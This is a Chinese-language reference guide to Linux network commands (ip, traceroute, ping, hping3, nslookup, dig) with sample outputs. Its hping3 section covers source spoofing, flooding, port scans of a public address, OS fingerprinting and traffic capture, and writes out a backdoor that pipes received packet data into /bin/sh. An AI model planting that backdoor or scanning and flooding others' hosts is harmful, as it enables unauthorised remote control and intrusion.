Linux網絡命令與腳本使用

作為系統管理員,經常需要診斷和解決網絡問題,而配置、監控與保護網絡有助於發現問題並在事情範圍擴大前得意解決,並且網絡的性能與安全也是管理與診斷網絡的重要部分。這裡總結一下常用與Linux網絡管理的命令,大概60個長期更新。

IP

iproute2 包含網絡、路由、ARP緩存等的管理與配置的ip命令,用來取代傳統的 ifconfigrouteip 使用第二個參數,指定在對象執行的操作(例如,add delete show)。

ip 命令是配置網絡接口的強大工具,任何 Linux 系統管理員都應該知道。它用於啟動或關閉接口、分配和刪除地址和路由、管理 ARP 緩存等等。

ip 常用的子命令有:

  • link (l) 網絡接口管理
  • address (a) IP地址管理
  • route (r) 路由表管理
  • neigh (n) arp表管理

各系統下的包名與安裝

  • Ubuntu/Debian: iproute2apt install iproute2
  • Centos/Fedora: iproute2yum install -y iproute2
  • Apline:iproute2 apk add iproute2

ip link 用於管理和顯示網絡接口

查看特定設備信息

ip link show dev [device]

查看所有網絡接口的統計信息(如傳輸或丟棄的數據包,錯誤等等):

ip -s link

查看單個網絡接口的類似信息:

ip -s link ls [interface]

例如

[root@vm207694 ~]# ip -s link ls eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq state UP mode DEFAULT group default qlen 1000
    link/ether da:78:c8:7a:fb:26 brd ff:ff:ff:ff:ff:ff
    RX: bytes  packets  errors  dropped overrun mcast   
    38626072259 324723879 0       347316  0       0       
    TX: bytes  packets  errors  dropped carrier collsns 
    13404948080 6829250  0       0       0       0       

如果需要顯示更多的詳情,可以再添加一個 -s

ip -s -s link ls [interface]

僅查看啟動(運行)的接口列表

ip link ls up

查看 ip link 的幫助

ip link help

啟動/關閉網絡接口

ip link set [interface] up/down

ip link 可以修改設備傳輸隊列的長度

ip link set txqueuelen [number] dev [interface]

設置 MTU (Maximum Transmission Unit) 來提高網絡性能

ip link set mtu [number] dev [interface]

查看與管理IP地址 ip addr

顯示所有設備

ip addr 

列出網絡接口與IP地址

ip addr show

查看單個網絡設備的信息

ip addr show dev [interface]

列出 IPv4/IPv6 地址

ip -4 addr
ip -6 addr

在Linux中添加網絡地址

ip addr add [ip_address] dev [interface]

添加廣播地址

ip addr add brd [ip_address] dev [interface]

刪除接口上的網絡地址

ip addr del [ip_address] dev [interface]

管理路由表 ip route

顯示路由表 ip route list

ip route
ip route list

選擇範圍;上述命令列出內核內所有路由條目,如果想要縮小範圍可以使用選擇器 SELECTOR

語法:ip route list SELECTOR

SELECTOR:

  • root:[ local | main | default | all | NUMBER ]

  • match

    [ match PREFIX ]

    ip route list match 10
    
  • exact: [ exact PREFIX ]

  • TABLE

    [ table TABLE_ID ] [ local | main | default | all | NUMBER ]

    ip route list table local
    
    broadcast 127.0.0.0 dev lo proto kernel scope link src 127.0.0.1 
    local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 
    local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1 
    broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1 
    broadcast 195.133.10.0 dev eth0 proto kernel scope link src 195.133.11.43 
    local 195.133.11.43 dev eth0 proto kernel scope host src 195.133.11.43 
    broadcast 195.133.11.255 dev eth0 proto kernel scope link src 195.133.11.43 
    
  • PROTO

    [ proto RTPROTO ] [ kernel | boot | static | NUMBER ]

    ip route list proto static
    
  • TYPE

    [ type TYPE ] { unicast | local | broadcast | multicast | throw |unreachable | prohibit | blackhole | nat }

    ip route list type multicast
    
  • SCOPE

    [ scope SCOPE ] [ host | link | global | NUMBER ]

    ip route list scope link
    
    169.254.0.0/16 dev eth0 metric 1002 
    172.16.0.0/20 dev eth0 proto kernel src 172.16.0.2 
    

修改路由表 ip route add/del

在指定設備上添加路由條目

ip route add [ip_address] dev [interface]

通過網關添加新路由

ip route add [ip_address] via [gatewayIP]

通過本地網關為所有地址添加默認路由

ip route add default [ip_address] dev [device]

ip route add default [network/mask] via [gatewayIP]

刪除已經存在的路由表

ip route del [ip_address]
ip route del default
ip route del [ip_address] dev [interface]

ARP地址表管理 ip neighbor

顯示arp 條目 ip neigh show

顯示系統中設備的MAC地址及其狀態。設備存在的狀態:

狀態 說明
REACHABLE 在超時過期之前有效且可訪問的條目
PERMANENT 管理員才能刪除的永久條目
STALE 有效但無法訪問的條目;為了檢查它的狀態,內核在第一次傳輸時檢查

例如

ip neigh show

192.168.10.1 dev eth0 lladdr 00:1f:ce:72:bd:8c REACHABLE
46.17.40.155 dev eth0 lladdr c4:71:fe:f1:9f:3f STALE
2a00:b700:3::1 dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
fe80::f0c5:a5ff:fee8:2aa4 dev eth0 lladdr f2:c5:a5:e8:2a:a4 router STALE
fe80::a48a:1eff:fe35:c2f7 dev eth0 lladdr a6:8a:1e:35:c2:f7 router STALE
fe80::4c4d:b3ff:fe44:fd58 dev eth0 lladdr 4e:4d:b3:44:fd:58 router STALE
fe80::4c33:dfff:fe92:9f2f dev eth0 lladdr 4e:33:df:92:9f:2f router STALE
fe80::21f:ceff:fe72:bd8c dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE

修改arp條目 ip neigh add/del

ip neigh add [ip_address] dev [interface]

ip neigh del [ip_address] dev [interface]

traceroute

traceroute 可以追蹤數據傳輸是如何從本地傳輸到遠程的。一個典型的例子是網頁的訪問。在互聯網上加載一個網頁需要數據流經一個網絡和許多路由器。traceroute 可以顯示所採用的路由以及網絡上路由器的IP和主機名。它可以應用於排查網絡延遲或診斷網絡問題。

各系統下的包名與安裝

  • Ubuntu/Debian: tracerouteapt install traceroute -y
  • Centos/Fedora: tracerouteyum install -y traceroute
  • Apline:busybox apk add busybox

追蹤網絡主機的路由 traceroute host

traceroute baidu.com

traceroute to baidu.com (220.181.38.148), 30 hops max, 60 byte packets
 1  * 9.31.61.129 (9.31.61.129)  1.795 ms *
 2  9.31.123.98 (9.31.123.98)  0.907 ms  1.179 ms  1.416 ms
 3  10.196.18.109 (10.196.18.109)  0.866 ms 10.196.18.125 (10.196.18.125)  1.085 ms *
 4  10.162.33.5 (10.162.33.5)  1.297 ms 10.200.16.169 (10.200.16.169)  0.774 ms 10.196.92.109 (10.196.92.109)  1.218 ms
 5  10.162.32.145 (10.162.32.145)  1.539 ms  1.431 ms 10.162.32.149 (10.162.32.149)  1.310 ms
 6  * * *
 7  58.63.249.45 (58.63.249.45)  7.320 ms * 121.14.50.25 (121.14.50.25)  7.859 ms
 8  * * 113.96.4.121 (113.96.4.121)  4.887 ms
 9  202.97.22.149 (202.97.22.149)  32.481 ms 202.97.22.153 (202.97.22.153)  32.676 ms
10  36.110.245.206 (36.110.245.206)  36.928 ms 36.110.247.54 (36.110.247.54)  37.593 ms 36.110.245.82 (36.110.245.82)  41.254 ms
11  36.110.245.161 (36.110.245.161)  33.749 ms *  37.905 ms
12  * * *
13  * * 220.181.182.170 (220.181.182.170)  42.998 ms
14  * * *
15  * * *
16  * * *
17  * * *
18  * * *
19  * * *
20  * * *
21  * * *
22  * * *
23  * * *
24  * * *
25  * * *
26  * * *
27  * * *
28  * * *
29  * * *
30  * * *

第一行顯示要訪問的主機名和ip、traceroute將嘗試到主機的最大躍點數以及要發送的位元組數據包的大小。

每行列出到達目的地的一個跳躍點。給出主機名與主機名的ip,然後是數據包到達主機並返回發起計算機所需的時間。默認情況下,traceroute 為每個主機發送三個數據包,因此列出了三個響應時間。

星號 * 表示丟失的數據包。這意味着網絡中斷、大量流量導致網絡擁塞或防火牆丟棄流量。

追蹤IPv6協議

traceroute -6 ipv6.google.com

忽略主機名與IP的映射

使用-n選項在traceroute中禁用IP地址映射。

traceroute -n qq.com

traceroute to qq.com (183.3.226.35), 30 hops max, 60 byte packets
 1  9.31.61.129  0.908 ms  1.159 ms  1.537 ms
 2  9.31.122.210  1.061 ms  0.837 ms  1.421 ms

設置相應等待時間

使用 -w 選項在traceroute 中配置響應等待時間,支持指定等待對探測的響應的時間(秒為單位)。

traceroute -w 1 -n qq.com

使用特定的網絡接口

使用-i選項設置traceroute應使用的網絡接口,如果未設置,則根據路由表選擇接口。

traceroute -w 1 -n -i eth0 qq.com

ping & hping

ping

Ping是一種簡單、廣泛使用的跨平台網絡工具,用於測試主機是否可以在Internet協議(IP)網絡上訪問。它的工作原理是向目標主機發送網絡控制消息協議Internet Control Message Protocol (ICMP) ECHO_REQUEST,目標節點等待並回復 ECHO_RESPONSE

可以使用ping 測試兩節點間的網絡通信,可以做到:

  • 目標主機是否可用,
  • 測量數據包到達目標主機並返回計算機所需的時間(與目標主機通信的往返時間(rtt)),以及數據包丟失的百分比。

各系統下的安裝

  • Ubuntu/Debian: iputils-pingapt install iputils-ping
  • Centos/Fedora: iputilsyum install -y iputils
  • Apline:iputils apk add iputils

使用參數

參數 說明
-c 指定發送ECHO_REQUEST的請求數
-i 設置包與包之間的間隔 ping -i 3 -c 5 www.google.com
-f flood ping,檢測高負載下的響應,需要有root權限
-b 允許ping一個廣播地址
-t 限制ping遍歷的網絡跳躍數(TTL Time-to-live),收到數據包的每個路由器從計數中至少減去 1,如果大於 0,路由器會將數據包轉發到下一跳,否則它會丟棄它並將 ICMP 響應返回。
-s 設置ping時的數據包大小(單位 bytes),這將導致提供的總數據包大小加上ICMP頭的8個額外位元組。
-l 發送預加載數據包(先發不等待回復的數據包),大於3需要root權限
-W 設置等待相應時間,單位秒
-w 設置超時時間,超時退出,單位秒
-d debug模式
-v 顯示詳細輸出
-A 更快的在兩節點間包往返的時間,非特權用戶最小為200ms

hping

hping一個具有可嵌入tcl腳本功能的 TCP/IP包偽造工具。,主要用於創建或生成網絡數據包以測試網絡、服務或系統性能。 hping 是由不同實體開發的舊工具,並以 hping2hping3 等新版本命名。 在大多數情況下,您可以使用操作系統提供的命令,可以是 hping 或 hping2 或 hping3。 hping 名稱源自 ping 命令名稱。hping3 是另一種用於掃描網絡的工具。它在kali linux中默認是DOS攻擊軟件之一。

hping支持TCP、UDP、ICMP、raw-IP等協議用於不同的用例。通過使用hping,可以創建具有不同選項的不同協議包。hping主要可以用作。

  • 創建原始IP數據包
  • 生成指定數量的數據包
  • 設置包發送間隔
  • 指定傳輸網絡接口
  • 創建和生成TCP數據包
  • 創建和生成UDP數據包
  • 創建和生成IP數據包
  • 創建和生成ICMP數據包
  • 設置MTU值
  • 設置碎片並創建碎片或未碎片的數據包
  • 設置數據包的有效負載或數據大小

hping的常用場景

  • 模擬DOS和DDOS攻擊
  • 測試防火牆和TCP、UDP、IP等協議的防火牆配置
  • TCP和UDP端口掃描
  • 測試網絡設備的配置,如碎片、MTU等。
  • 用於列出中間主機的高級跟蹤路由
  • 遠程操作系統指紋識別和檢測
  • 遠程正常運行時間決策
  • TCP/IP協議實現與棧測試審計

各系統下的安裝

  • Ubuntu/Debian: hping3apt install hping3
  • Centos/Fedora: hping3yum install epel-release && yum install -y hping3
  • Apline:hping3 apk add hping3 --update-cache --repository //dl-cdn.alpinelinux.org/alpine/edge/testing

參數說明

基礎參數

參數選項 參數說明
-c --count [count] 發送數據包的次數 關於countreached_timeout 可以在hping2.h里編輯
-i --interval 每個包發送間隔時間(單位是毫秒) 缺省時間是1秒,此功能在增加傳輸率上很重要。
-i 1 為1s
-i u1 為1us (微秒) 即每秒發送1000000包
--fast -i u10000 的別名,即1秒發送10個包
--faster -i u1 的別名,但實際上發送的包取決於計算機的速度
--flood 儘可能快速的發送包,不關注收到的恢復,要比 -i u0
-I --interface [interface name] 指定默認的路由接口,在linux中,hping3使用默認路由接口。
可以使用 -I 接網絡接口的完整名稱,如 eth0
-q -quiet 安靜輸出。除了啟動時和完成時的摘要信息外,不輸出任何內容。
-n -nmeric 數字化輸出主機地址

協議選項

默認情況下,hping使用的為tcp協議

選項 說明
-0 --rawip 原始IP模式,此模式下,hping3將發送IP頭。
-1 --icmp ICMP模式,默認情況下hping3將發送ICMP回顯請求。
-2 --udp UDP模式,默認情況下,hping3將向目標主機的0端口發送UDP
-8 --scan 端口掃描,在該模式下,需要提供一組端口,如 1,2,3 端口組以 , 分隔
端口範圍:start-end1000-2000
特殊字符:all 表示所有端口;know :包含 /etc/services 中的所有端口
組合寫法:hping --scan 1-1000,8888,known -S www.baidu.com
-9 --listen signature 監聽模式,此模式下 hping3 等待包含簽名的數據包並從簽名端轉儲到數據包的結尾處。

IP相關選項

參數 說明
-a --spoof hostname 此選項可以偽造源IP地址,可確保目標不會獲得真實IP地址,必然性的響應將被發送到偽造的地址處。
--rand-source 此選項開啟隨機源模式。hping將發送帶有隨機源地址的數據包。
--rand-dest 此選項開啟隨機目標模式。hping將數據包發送到隨機目標地址
如,當使用隨機目標地址時,可以使用x 作為範圍,所有出現的 x 都將唄替換為0-255之間的隨機數。如10.0.0.x。可以使用--debug 選項查看生成的隨機地址。
注意:使用此選項,hping無法檢測數據包的正確傳出接口,應使用 -I 選項指定網絡接口。
-t --ttl 此選項可以設置傳出數據包的TTL(生存時間)
-N id 設置IP字段的隨機值
-H --ipproto 在RAW IP模式中設置IP協議
-r --rel ip id等增量
-m –mtu 設置虛擬最大傳輸單元

icmp選項

參數 說明
-C --icmptype type 設置icmp類型,默認為icmp echo reques。
--icmp-ipver 設設置包含在ICMP數據中的IP頭的IP版本,默認值為4。
--icmp-ipproto 設置包含在ICMP數據中的IP頭的IP協議,默認為TCP。

TCP/UDP選項

參數 說明
-s --baseport [src port] 隨機源端口
-p --destport [dest port] 設置目標端口
+ 目標端口將隨着收到的每個回復而增加
++ 目標端口每發送數據包都會增加
–keep 保持源端口不邊
-w –win 設置tcp窗口大小,默認64
-F –fin 設置 tcp fin標記
-S –syn 設置 tcp SYN標記
-R –rst 設置 tcp rst標記
-P –push 設置 tcp PUSH標記
-A –ack 設置 tcp ACK標記
-U –urg 設置 tcp URG標記
-X –xmas 設置 tcp Xmas標記
-Y –ymas 設置 tcp Ymas標記

常用參數

參數 說明
-d --data 設置數據包主體大小。 使用 --data 40 hping將在 protocol_header 增加40 位元組。
-E --file [filename] 使用文件名內容填充數據包的數據
-j --dump 以16進制導出數據包
-J --print 導出可打印的數據包
-u --end 如果使用 “–file filename` 選項,何時為EOF。
-T --traceroute traceroute 模式。此選項將在接收ttl來嘗試追蹤。
--tr-keep-ttl 保持ttl的固定,用於監視某一跳
–tr-stop traceroute 下收到第一個不是ICMP時退出
….

輸出格式

hping的一個標準的TCP/UDP格式如下,UDP字段含義與TCP的相同。

# tcp
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms

# udp
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
  • len:len是從數據鏈路層捕獲的數據的大小(位元組),不包括數據鏈路頭大小。
  • ip: ip 為請求的ip
  • flags:flags為TCP的標記,如
    • R RESET
    • S SYN
    • A ACK
    • F FIN
    • P PUSH
    • U URGENT
    • X 不標準的 0x40
    • Y 不標準的 0x80
  • seq:seq是數據包的序列號,使用TCP/UDP數據包的源端口獲得
  • id 是IP ID字段。
  • win TCP 窗口大小
  • rtt 往返時間 (round trip time),單位毫秒
  • 以下是使用-V參數後的字段
    • tos 是IP標頭的服務類型字段。
    • iplen ip的總長度
    • seq 和 ack 是TCP標頭中的序列號和32位確認號
    • 是TCP標頭校驗和值。
    • urp TCP緊急指針值。

ICMP的輸出格式

ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net

在此格式中,ip 為 ICMP 錯誤的 IP 地址,name為解析的名稱或者為UNKNOWN,而其他的參數含義與TCP/UDP大致相同。

端口掃描

hping可以自由地創建原始IP、TCP、UDP和ICMP數據包。可以利用此功能生成 TCP SYN 掃描。TCP-SYN 掃描是最簡單的將數據包發送到主機/IP端口的方法。這裡 掃描的為110.242.68.4:80

啟動經典的掃描的最簡單方法是將TCP-SYN數據包發送到主機/ip上的端口。下面的命令將掃描IP 192.168.8.223上的端口80。從輸出中,可以看到 flags=SA SYN和ACK標記,代表一個開放端口。

hping3 -S 110.242.68.4 -p 80 -c 2

掃描一個範圍的端口可以使用 ++

hping3 -S 110.242.68.4 -p ++80

也可以使用如下方式

hping3 -8 80-86 -S 110.242.68.4 

Scanning 110.242.68.4 (110.242.68.4), port 80-86
7 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   80 http       : .S..A... 128 60936 64240    46
All replies received. Done.
Not responding ports: (81 ) (82 xfer) (83 mit-ml-dev) (84 ctf) (85 ) (86 mfcobol) 

通過Hping3跟蹤路由到指定端口:

hping3支持一個很實用功能,可以追蹤路由到一個指出的端口,查看你的數據包被阻塞的地方。

hping3 --traceroute -p 80 -V -1 www.google.com

using eth0, addr: 195.133.11.43, MTU: 1500
HPING www.google.com (eth0 142.250.150.104): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=195.133.10.1 name=gateway   
hop=1 hoprtt=3.1 ms
hop=2 TTL 0 during transit from ip=10.11.12.37 name=UNKNOWN   
hop=2 hoprtt=10.0 ms
hop=3 TTL 0 during transit from ip=62.140.243.62 name=msk-m9-b1-ae30-vlan449.fiord.net
hop=3 hoprtt=1.9 ms
hop=4 TTL 0 during transit from ip=62.140.239.113 name=msk-m9-b6-ae1-vlan12.fiord.net
hop=4 hoprtt=9.8 ms
hop=5 TTL 0 during transit from ip=72.14.222.198 name=UNKNOWN   
hop=5 hoprtt=4.2 ms
hop=6 TTL 0 during transit from ip=108.170.250.33 name=UNKNOWN   
hop=6 hoprtt=3.8 ms
hop=7 TTL 0 during transit from ip=108.170.250.51 name=UNKNOWN   
hop=7 hoprtt=2.5 ms
hop=8 TTL 0 during transit from ip=142.251.49.158 name=UNKNOWN   
hop=8 hoprtt=34.7 ms
hop=9 TTL 0 during transit from ip=108.170.235.204 name=UNKNOWN   
hop=9 hoprtt=18.2 ms
hop=10 TTL 0 during transit from ip=142.250.209.35 name=UNKNOWN   
hop=10 hoprtt=17.1 ms
....

不同類型的ICMP

hping3 -c 5 -V -1 -C 17 110.242.68.4 

using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): icmp mode set, 28 headers + 0 data bytes

--- 110.242.68.4 hping statistic ---
5 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

通過hping3進行TCP FIN掃描

在TCP連接中,FIN標誌用於開始請求關閉連接。萬一沒有得到答覆,那說明端口是開放的。通常防火牆會再次發送Rst+ack數據包,以指示該端口已關閉。

通過hping3 進行ACK掃描

有些情況下,主機可能禁止PING ICMP,此時使用ACK掃描可以用於檢查主機是否處於活動狀態。如果主機活躍,會相應RST標記,在hping中是為 flags=R

hping3 -c 2 -V -p 80 -A 110.242.68.4 

using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): A set, 40 headers + 0 data bytes
len=46 ip=110.242.68.4 ttl=128 id=2391 tos=0 iplen=40
sport=80 flags=R seq=0 win=32767 rtt=0.6 ms
seq=1165126080 ack=0 sum=c0ba urp=0

UDP掃描

使用參數 -2 可以讓hping工作於UDP模式,可以進行UDP掃描

hping3 -2 8.8.4.4 -V -p 53 -c 10

操作系統識別

使用-Q或-seqnum可以讓hping 收集了ISN。

hping3 127.0.0.1 -Q -p 22 -V -S

using lo, addr: 127.0.0.1, MTU: 65536
HPING 127.0.0.1 (lo 127.0.0.1): S set, 40 headers + 0 data bytes
 893247485 +893247485
2568100167 +1674852682
2600543427 +32443260

內容探測

可以使用hping的監聽模式,來抓取通過網絡接口的所有流量,以及捕獲對應的內容。例如抓取通過谷歌搜索的流量包

hping3 -9 "www.google.com" --beep -I eth0

hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!



Accept: */*

.hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=//www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 370
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2021-06-25-07; expires=Sun, 25-Jul-2021 07:16:43 GMT; path=/; domain=.google.com; Secure
Set-Cookie: NID=217=PdQLBtU-tTavgvb4BW9ouB3nAr1OKNK6I_kn9u2Qa2eTgLA_qLyGv2G_2t2G_PRNVrKu2SOEm-e7ED17ljnx3uFBweBjQWOyRvHrJ6jhC5_J3yaBK0r8mikUrqHNjDez5F3rCleFQDurBEfnqECDFXNkvvO_-Wn4ahGJeid01TM; expires=Sat, 25-Dec-2021 07:16:43 GMT; path=/; domain=.google.com; HttpOnly

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="//www.google.com.hk/url?sa=p&amp;hl=zh-CN&amp;pref=hkredirect&amp;pval=yes&amp;q=//www.google.com.hk/&amp;ust=1624605433464983&amp;usg=AOvVaw2THxd5w15lxgX3_KA19GWL">here</A>.
</BODY></HTML>
.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL HTTP/1.1
User-Agent: curl/7.29.0
Host: www.google.com.hk
Accept: */*

.hk/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 222
X-XSS-Protection: 0
Set-Cookie: 1P_JAR=2021-06-25-07; e

網絡後門

可以通過hping3的監聽模式,創建一個簡單的後門(backdoor),通過管道來執行腳本

hping3 -I eth1 -9 secret | /bin/sh

hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1

dig & nslookup

nslookup(name server lookup)用於在Linux中執行DNS查找的工具。用於顯示DNS詳細信息,例如計算機的IP地址、域的MX記錄或域的NS服務器。

nslookup 可以在兩種模式下運行:交互式和非交互式。交互模式可以查詢名稱服務器以獲取有關各種主機和域的信息或打印域中的主機列表。非交互模式僅打印主機或域的名稱和請求的信息。

dig(Domain Information Groper) 執行DNS查找。默認情況下,dig查詢通過 resolver ( /etc/resolv.conf ) 中列出的DNS地址,除非指定特定的name server。

各系統下的安裝

  • Ubuntu/Debian: knot-dnsutilsapt install knot-dnsutils
  • Centos/Fedora: bind-utils | dnsutilsyum install -y bind-utils
  • Apline:bind-tools apk add bind-tools

nslookup

簡單查詢

nslookup後跟域名將顯示域名的「A記錄」(IP地址),nslookup命令的默認輸出比dig命令的默認輸出相對整潔些。

nslookup redhat.com

執行反向DNS查找:

nslookup 208.117.229.88

查詢MX記錄

MX( Mail Exchange )記錄將域名映射到該域的郵件服務器列表。MX記錄表明發到 @qq.com 的所有郵件都應該路由到該域中的郵件服務器。

nslookup -query=mx qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com  mail exchanger = 20 mx2.qq.com.
qq.com  mail exchanger = 30 mx1.qq.com.
qq.com  mail exchanger = 10 mx3.qq.com.

Authoritative answers can be found from:

Authoritative Answer與Non-Authoritative Answer

可以注意到注意到上面輸出中的關鍵字 AuthoritativeNon-Authoritative Answer。任何來自DNS服務器的答覆都稱為Authoritative Answer,該服務器具有域可用的完整區域文件信息。在許多情況下,DNS服務器將不具備給定域的完整區域文件信息。相反,它維護一個緩存文件,該文件包含過去執行的所有查詢的結果,並已獲得權威響應。當給出一個DNS查詢時,它搜索緩存文件,並以 Non-Authoritative Answer 的形式返回可用的信息。

查詢NS記錄

NS ( Name Server ) 記錄將域名映射到該域的授權DNS服務器列表。它將輸出與給定域關聯的名稱服務。

nslookup -type=ns qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com  nameserver = ns1.qq.com.
qq.com  nameserver = ns2.qq.com.
qq.com  nameserver = ns3.qq.com.
qq.com  nameserver = ns4.qq.com.

Authoritative answers can be found from:

查詢SOA記錄

SOA ( start of authority )記錄\,提供關於域的權威信息、域管理員的電子郵件地址、域序列號等。

nslookup -type=soa qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
qq.com
        origin = ns1.qq.com
        mail addr = webmaster.qq.com
        serial = 1330914143
        refresh = 3600
        retry = 300
        expire = 86400
        minimum = 300

Authoritative answers can be found from:
  • mail addr–指定域管理員的郵件地址
  • serial 一種版本編號系統。標準慣例是使用 YYYYMMYNN 格式 2012-07-16.01如果在同一天進行了多個編輯,則將遞增)
  • refresh 指定從DNS服務何時輪詢主DNS以查看序列號是否已增加(以秒為單位)。如果增加,從DNS服務器將發出複製新區域文件的新請求。
  • retry 指定與主DNS重新連接的間隔
  • expire 指定輔助DNS保持緩存區域文件有效的時間
  • minimum 指定從DNS應緩存區域文件的時間

查看可用的DNS記錄

nslookup -type=any qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

Non-authoritative answer:
Name:   qq.com
Address: 61.129.7.47
Name:   qq.com
Address: 183.3.226.35
Name:   qq.com
Address: 203.205.254.157
Name:   qq.com
Address: 123.151.137.18
qq.com  mail exchanger = 10 mx3.qq.com.
qq.com  mail exchanger = 20 mx2.qq.com.
qq.com  mail exchanger = 30 mx1.qq.com.

Authoritative answers can be found from:

使用指定DNS查詢

可以指定特定的DNS來解析域名,而不是使用默認DNS進行查詢。

nslookup www.qq.com 8.8.8.8

Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
www.qq.com      canonical name = news.qq.com.edgekey.net.
news.qq.com.edgekey.net canonical name = e6156.dscf.akamaiedge.net.
Name:   e6156.dscf.akamaiedge.net
Address: 23.219.132.75
Name:   e6156.dscf.akamaiedge.net
Address: 2600:1417:76:494::180c
Name:   e6156.dscf.akamaiedge.net
Address: 2600:1417:76:480::180c

使用特殊的dns端口

默認情況下,DNS使用端口號為53。可以使用-port選項指定端口號。

nslookup -port 56 qq.com

設置超時時間

可以使用 -timeout 選項來指定超時時間

nslookup -timeout=10 qq.com

啟用調試模式

-debug 選項打開/關閉調試

nslookup -debug qq.com

Server:         183.60.83.19
Address:        183.60.83.19#53

------------
    QUESTIONS:
        qq.com, type = A, class = IN
    ANSWERS:
    ->  qq.com
        internet address = 183.3.226.35
        ttl = 92
    ->  qq.com
        internet address = 203.205.254.157
        ttl = 92
    ->  qq.com
        internet address = 61.129.7.47
        ttl = 92
    ->  qq.com
        internet address = 123.151.137.18
        ttl = 92
    AUTHORITY RECORDS:
    ADDITIONAL RECORDS:
------------
Non-authoritative answer:
Name:   qq.com
Address: 183.3.226.35
Name:   qq.com
Address: 203.205.254.157
Name:   qq.com
Address: 61.129.7.47
Name:   qq.com
Address: 123.151.137.18
------------
    QUESTIONS:
        qq.com, type = AAAA, class = IN
    ANSWERS:
    AUTHORITY RECORDS:
    ->  qq.com
        origin = ns1.qq.com
        mail addr = webmaster.qq.com
        serial = 1330914143
        refresh = 3600
        retry = 300
        expire = 86400
        minimum = 300
        ttl = 296
    ADDITIONAL RECORDS:
------------

dig

語法

dig @server name type

解析IP地址

dig 通常不帶參數地用於獲取提供的DNS名稱的IP地址。默認使用系統提供的DNS服務器用於DNS解析。

dig www.qq.com

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40004
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.qq.com.                    IN      A

;; ANSWER SECTION:
www.qq.com.             132     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.65

;; Query time: 11 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Jun 22 21:39:33 CST 2021
;; MSG SIZE  rcvd: 108

dig命令輸出包括以下部分

  • HEADER:顯示dig命令的版本號、dig命令使用的全局選項,以及一些附加的Header信息。
  • QUESTION SECTION:顯示dig像DNSserver發出的請求。即你請求的域名。這裡使用dig命令獲取qq.com使用的默認類型(A記錄)
  • ANSWER SECTION:顯示從DNS接收到的應答。將顯示qq.com 的A記錄
  • ADDITIONAL SECTION:顯示ADDITIONAL SECTION 中列出的DNS服務器的ip地址。
  • 底部的Stats部分顯示一些dig命令統計信息,包括執行此查詢所用的時間

僅顯示應答部分

在大多數情況下,我們只需要查看dig的 ANSWER SECTION。可以僅打印該部分。

  • +nocomments 不顯示注釋行
  • +noauthority 不顯示authority部分
  • +noadditional 不顯示 additional 部分
  • +nostats 不顯示統計信息 stats
  • +noanswer 關掉ANSWER 部分,這裡一般為想要的結果
dig www.qq.com \
    +nocomments \
    +noquestion \
    +noauthority \
    +noadditional \
    +nostats

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com +nocomments +noquestion +noauthority +noadditional +nostats
;; global options: +cmd
www.qq.com.             180     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A     109.244.236.65
ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A     109.244.236.76

也可以使用 +noal 禁用所有不需要的部分,當然也會關掉 answer ,然後+answer 只顯示 answer部分,這樣看起來簡潔些。

dig www.qq.com \
    +noall \
    +answer

查詢MX記錄

將MX作為參數,可以查詢mx記錄,可以使用 -t 增加類型

dig qq.com  MX +noall +answer

